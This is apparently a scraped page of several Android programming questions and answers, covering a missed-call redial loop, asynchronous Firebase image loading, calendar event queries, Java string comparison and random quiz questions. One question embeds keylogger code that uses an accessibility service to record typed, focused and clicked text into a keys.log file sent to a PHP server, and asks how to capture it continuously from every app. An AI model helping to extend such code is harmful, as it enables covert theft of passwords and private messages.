I'm a noob who's working on his first app. Imagine you're busy and not able to pick up some calls during the day. The app shows you a log of the calls you missed, and you can start calling them with a single button click. Not all at once - you start with the first missed number, automatically come back to the app when the call is finished, automatically dial the second number, and so on until the list is empty or you're done calling. This is my what my app looks like right now:
https://imgur.com/tke7SDx
I log missed calls and display them, and I have a "start calling" button that's supposed to start the loop. I'm not sure how to make it so that the onClick starts calling missed call no1, then missed call no2 etc and I haven't found much about it though my Google game isn't very strong yet. This is how I get the call details:
public String getCallDetails() {
StringBuffer sb = new StringBuffer();
// if
// (ActivityCompat.checkSelfPermission(getApplicationContext(),
// Manifest.permission.READ_CALL_LOG) !=
// PackageManager.PERMISSION_GRANTED) {
//
// return ;
// }
Cursor managedCursor = getApplicationContext().getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, CallLog.Calls.DATE + " DESC");
int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
sb.append("\n");
while (managedCursor.moveToNext()) {
String phNumber = managedCursor.getString(number);
String callType = managedCursor.getString(type);
String callDate = managedCursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = managedCursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);
switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;
}
// Getting the current date and time using the date class
Date d = new Date();
if (dir == "MISSED") {
sb.append("\n Phone Number: " + phNumber + " \n Call Date: " + callDayTime + "\n");
sb.append(" ---------------------------------------------------\n \n");
}
}
managedCursor.close();
return sb.toString();
}
And this is my button onClick:
callBtn.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View view) {
try {
// String phone = ????
// Using the ACTION.CALL intent, you're going straight to the first
// call
// Intent callIntent = new
// Intent(Intent.ACTION_CALL, Uri.fromParts("tel",
// phone, null));
// Check for permission, write yes/no etc. here
if (ActivityCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.CALL_PHONE) !=
PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(MainActivity.this, new String[]{Manifest.permission.CALL_PHONE},
UNIQUE_REQUEST_CODE);
} else {
Toast.makeText(MainActivity.this, "Permission granted! Thank you!", Toast.LENGTH_SHORT).show();
}
startActivity(Intent.createChooser(callIntent, "callTitle"));
} catch (Exception e) {
Toast.makeText(getApplicationContext(), "Oh no, your call has failed!",
Toast.LENGTH_LONG).show();
e.printStackTrace();
}
}
});
I'm also trying to filter it so that only missed calls from the past two days are showing, but that's something for later. Just wondering what's a good way to call-loop through the missed calls right now.
Any pointers are welcome!!
Thank you!
You can use Phone State Listener to listen call states. Whenever call states returns to STATE_IDLE you can go for next calls.
Dont forget to stop listining state when you are done.
Related
I am working on a project in which I have to pass data from an activity to another. I try to use bitmap in order to pass around images. After I retrieve the image from Firebase storage I can output it with System.out but if I try to read it outside the fetch method it returns null in console.
for (DocumentSnapshot result : Objects.requireNonNull(task.getResult()).getDocuments()
) {
title = Objects.requireNonNull(result.get("Author")).toString();
author = Objects.requireNonNull(result.get("Title")).toString();
edition = Objects.requireNonNull(result.get("Edition")).toString();
isbn = Objects.requireNonNull(result.get("ISBN")).toString();
category = Objects.requireNonNull(result.get("Category")).toString();
reviews = result.get("Reviews");
Bitmap[] bitmap = new Bitmap[1];
try {
final File local_file = File.createTempFile("android_dev", "jpg");
storageRef.getFile(local_file).addOnCompleteListener(bitmap_task -> {
if (bitmap_task.isSuccessful()){
System.out.println("Sucess");
bitmap[0] = BitmapFactory.decodeFile(local_file.getAbsolutePath());
System.out.println(bitmap[0] + " yes yes");
}else {
System.out.println("Failure!");
}
});
} catch (IOException e) {
e.printStackTrace();
}
if (category.equals(finalBook_category)) {
if (title.contains(search) || author.contains(search) || edition.contains(search) || isbn.contains(search)) {
System.out.println(bitmap[0] + "What is happening");
books_list.add(new LibraryBook(author, title, edition, isbn, category, reviews, bitmap[0]));
}
}
}
setAdapter();
} else {
System.out.println("Nope");
}
});
}
Are you referring to this line
System.out.println(bitmap[0] + "What is happening");
as the point where you don't see the expected bitmap output? If so, it's because the getFile() is method that returns a Task, with the addOnCompleteListener callback. So it's not synchronous. So your code is reaching this section:
if (category.equals(finalBook_category)) {
if (title.contains(search) || author.contains(search) || edition.contains(search) || isbn.contains(search)) {
System.out.println(bitmap[0] + "What is happening");
books_list.add(new LibraryBook(author, title, edition, isbn, category, reviews, bitmap[0]));
}
}
before the bitmap has been fetched from your storage bucket. Put that if statement below this line instead:
System.out.println(bitmap[0] + " yes yes");
so that it waits until the callback and you know you have downloaded the image before using it.
I am not a coder, just tring to learn and understand Java.
I have code for Android Keylogger, which collects keystrokes and send to php file.
I get log also ,but not all, but I want 3 things to working
How I set particular time for getting logs?
How I get all open app/window logs?
How I get continue log? Meaning when Keylogger command is given, it should be continue get logs as timer set
Here is main Java code:
if(onKeylogger) {
try {
DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);
String time = df.format(Calendar.getInstance().getTime());
switch (event.getEventType()) {//Keylogger
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
SF.Log("KEY1", time + "|(TEXT)|" + data);
textKeylogger = time + "|(TEXT)|" + data + "|^|";
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
SF.Log("KEY2", time + "|(FOCUSED)|" + data);
textKeylogger = time + "|(FOCUSED)|" + data + "|^|";
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
SF.Log("KEY3", time + "|(CLICKED)|" + data);
textKeylogger = time + "|(CLICKED)|" + data + "|^|";
break;
}
default:
break;
}
} catch (Exception ex) {
SF.Log("ERROR1","AccessibilityService");
}
}
AccessibilityNodeInfo nodeInfo = event.getSource();
if (AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED == event.getEventType()) {
try {
//---keylogger---
if (onKeylogger) {
if (textKeylogger.length() > 2) {
writeFile("keys.log", textKeylogger);
}
}
if (SF.SetRead(this, "keylogger").equals("true")) {
onKeylogger = true;
} else {
onKeylogger = false;
}
//---------------//
I get instant log , I tried to changed some code like
(textKeylogger.length() > 2)
to
(textKeylogger.length() > 20)
Sorry, as I am beginner, so may it may silly editing. But not all logs I get at my php file.
Note : these code Grab keystrokes, which generate .txt log file at my server panel.
According to my requirements i should save the events in android calendar like event name, starDate and endDate etc and retrieve lastly saved events, Now everything goes well, instead of fetching last event values i'm getting first event, can anybody tell the logic for this issue please.
Here's my code
private void addEvent2() {
Intent l_intent = new Intent(Intent.ACTION_EDIT);
l_intent.setType("vnd.android.cursor.item/event");
//l_intent.putExtra("calendar_id", m_selectedCalendarId); //this doesn't work
l_intent.putExtra("title", "roman10 calendar tutorial test");
l_intent.putExtra("description", "This is a simple test for calendar api");
l_intent.putExtra("eventLocation", "#home");
l_intent.putExtra("beginTime", System.currentTimeMillis());
l_intent.putExtra("endTime", System.currentTimeMillis() + 1800*1000);
l_intent.putExtra("allDay", 0);
//status: 0~ tentative; 1~ confirmed; 2~ canceled
l_intent.putExtra("eventStatus", 1);
//0~ default; 1~ confidential; 2~ private; 3~ public
l_intent.putExtra("visibility", 3);
//0~ opaque, no timing conflict is allowed; 1~ transparency, allow overlap of scheduling
l_intent.putExtra("transparency", 0);
//0~ false; 1~ true
l_intent.putExtra("hasAlarm", 1);
try {
startActivity(l_intent);
} catch (Exception e) {
Toast.makeText(this.getApplicationContext(), "Sorry, no compatible calendar is found!", Toast.LENGTH_LONG).show();
}
}
Retrieving code
private void getLastEvent() {
Uri l_eventUri;
if (Build.VERSION.SDK_INT >= 8) {
l_eventUri = Uri.parse("content://com.android.calendar/events");
} else {
l_eventUri = Uri.parse("content://calendar/events");
}
String[] l_projection = new String[]{"title", "dtstart", "dtend"};
Cursor l_managedCursor = this.managedQuery(l_eventUri, l_projection, "calendar_id=" + m_selectedCalendarId, null, "dtstart DESC, dtend DESC");
//Cursor l_managedCursor = this.managedQuery(l_eventUri, l_projection, null, null, null);
if (l_managedCursor.moveToFirst()) {
int l_cnt = 0;
String l_title;
String l_begin;
String l_end;
StringBuilder l_displayText = new StringBuilder();
int l_colTitle = l_managedCursor.getColumnIndex(l_projection[0]);
int l_colBegin = l_managedCursor.getColumnIndex(l_projection[1]);
int l_colEnd = l_managedCursor.getColumnIndex(l_projection[1]);
do {
l_title = l_managedCursor.getString(l_colTitle);
l_begin = getDateTimeStr(l_managedCursor.getString(l_colBegin));
l_end = getDateTimeStr(l_managedCursor.getString(l_colEnd));
l_displayText.append(l_title + "\n" + l_begin + "\n" + l_end + "\n----------------\n");
++l_cnt;
} while (l_managedCursor.moveToNext() && l_cnt < 1);
m_text_event.setText(l_displayText.toString());
}
l_managedCursor.close();
}
retrieve lastly saved events
As long as you don't save the date where you add the event you can't get last added events.
Looking in Calendar.Contract.Events API I can't find any field to insert this kind of extra data, so you have 2 sol.lutions:
Create a SharedPreferences or DataBase to store basic data to find a calendar event PLUS adding date, then make search in this Preferences or DataBase and retrieve information from calendar according to it.
EASIER, BUT NOT RECOMMENDEDAdd in some String field like DESCRIPTION or ORGANIZER the Timestamp or Date of addition of the event, then when searching just get this part of the event and sort to get last added.
I have three activities A,B and C
In my B activity I have one imageview, when I get a String from activity A to B, the imageview should be visible.
When I get a String from activity C to B then the imageview should not be visible.
//From activity A
Intent iin= getIntent();
Bundle b = iin.getExtras();
//From Activity C
Intent i2=getIntent();
Bundle abcd=i2.getExtras();
if(b!=null)
{
String j =(String) b.get("arrowvisi");
Toast.makeText(getApplicationContext(), j, Toast.LENGTH_LONG).show();
if(j==b.get("arrowvisi"))
{
img_back.setVisibility(View.VISIBLE);
Toast.makeText(getApplicationContext(), "Operational arrow visible", Toast.LENGTH_LONG).show();
}
else
{
if(abcd!=null)
{
String jst =(String) abcd.get("arrow_val");
if(jst==abcd.get("arrow_val"))
{
img_back.setVisibility(View.GONE);
Toast.makeText(getApplicationContext(), "scan dispatch visble", Toast.LENGTH_LONG).show();
}
else
{
//img_back.setVisibility(View.GONE);
System.out.println("from scan dispatch");
Toast.makeText(getApplicationContext(), "scan dispatch not visible", Toast.LENGTH_LONG).show();
}
}
Toast.makeText(getApplicationContext(), "Operational not visible", Toast.LENGTH_LONG).show();
}
}
Replace
String j = (String) b.get("arrowvisi");
with
String j = b.getString("arrowvisi");
and
String jst = (String) abcd.get("arrow_val");
with
String jst = abcd.getString("arrow_val");
also string comparison should be like
j.equals(b.getString("arrowvisi")) // change again
and
jst.equals(abcd.getString("arrow_val")) // change again
So, the final ans should be something like
//From activity A
Intent iin = getIntent();
Bundle b = iin.getExtras();
//From Activity C
Intent i2 = getIntent();
Bundle abcd = i2.getExtras();
if(b != null){
String j = "String to check"; // Replace content inside "" with your string
Toast.makeText(getApplicationContext(), j, Toast.LENGTH_LONG).show();
if(j.equals(b.getString("arrowvisi"))){
img_back.setVisibility(View.VISIBLE);
Toast.makeText(getApplicationContext(), "Operational arrow visible", Toast.LENGTH_LONG).show();
}else{
if(abcd != null){
String jst = "String to check"; // Replace with string you want to check
if(jst.equals(abcd.getString("arrow_val"))){
img_back.setVisibility(View.GONE);
Toast.makeText(getApplicationContext(), "scan dispatch visble", Toast.LENGTH_LONG).show();
}else{
//img_back.setVisibility(View.GONE);
System.out.println("from scan dispatch");
Toast.makeText(getApplicationContext(), "scan dispatch not visible", Toast.LENGTH_LONG).show();
}
}
Toast.makeText(getApplicationContext(), "Operational not visible", Toast.LENGTH_LONG).show();
}
}
Also note that, doing something like
String jst = abcd.getString("arrow_val"));
if(jst.equals(abcd.getString("arrow_val"))) // this will be always true
this, will result in if statement being always true.
2 options :
1) Remove if statement because always true.
2) change String jst = "Some string to compare" (change this) and now compare jst with getString("arrow_val") using jst.equals(abcd.getString("arrow_val")) in your if loop
change this
String j = (String) b.get("arrowvisi");
with
String j = b.getString("arrowvisi");
and
String jst = (String) abcd.get("arrow_val");
with
String jst = abcd.getString("arrow_val");
also put this in bracket()
b.get("arrowvisi")
abcd.get("arrow_val")
First of all,to compare strings in java,you need to use .equals
so change
if(j==b.get("arrowvisi"))
to
if(j.equals(b.getString("arrowvisi")))
and
if(jst==abcd.get("arrow_val"))
to
if(jst.equals(abcd.getString("arrow_val")))
And second,your condition always will be true,because you are comparing two equal values always,i.e. first getting value in jst and then comparing same value.
Edit : to resolve null pointer change
String j =(String) b.get("arrowvisi");
to
String j = b.getString("arrowvisi");
and
String jst =(String) abcd.get("arrow_val");
to
String jst =abcd.getString("arrow_val");
And post logcat exception.
i am new to android programming.i looking to make a question and answer application.in this application i fetch the data from the data base file as follows
public String makeatext(String My_database_table, int i) {
SQLiteDatabase myDB = getDatabase();
String results = new String();
Cursor cur = null;
try {
String firstColumn = "questions";
cur = myDB.query(true, My_database_table,
new String[] { firstColumn }, null, null, null, null, null,
null);
int iquestion = cur.getColumnIndex(firstColumn);
if (cur.moveToPosition(i)) {
results = results + cur.getString(iquestion) + "\n";
}
return results;
}
catch (Exception e) {e.printStackTrace();
Log.e("ERROR", "ERROR in Make test file :" + e.toString());
e.printStackTrace();
// TODO: handle exception
}finally{
cur.close();
}
return results;
}
and in my main activity class i am initializing random value as
Random questions;
questions = new Random();
int Rnumber;Rnumber=0;
Rnumber=questions.nextInt(3);
and after setting the random value i am calling the function as
String shoow = myDb.makeatext(levels, Rnumber);
now i am getting a question but .what i want is as every time user opens application i want to show random questions.how to do this any suggestions will be very good to me
thanks,
maddy
move line
questions = new Random();
to onCreate()
and
Rnumber=questions.nextInt(3); //Rnumber can get 0, 1, 2 values
to onResume
Do You have only 3 questions????